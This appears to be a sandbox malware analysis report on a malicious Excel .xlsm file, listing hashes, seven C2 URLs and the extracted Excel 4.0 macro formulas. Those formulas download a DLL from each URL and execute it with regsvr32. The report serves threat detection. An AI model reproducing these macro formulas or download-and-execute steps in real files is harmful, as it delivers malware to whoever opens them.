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General

  • Target

    8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956

  • Size

    20KB

  • MD5

    0b2bd21912e427436270ee0de2a61ceb

  • SHA1

    402434271af15eb91696d1d095e0867cbea5c8a9

  • SHA256

    8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956

  • SHA512

    5233486a963e06fef59f3b9020864ba1be96f63d100a4b37c9a631d3ba9345a6ebf4854cf496648367052c3237bd716c7663daea90e5f12b94819efa8e709165

  • SSDEEP

    384:a/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:atINAo4FLkCBn9kC+xbLzJy

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956
    .xlsm office2007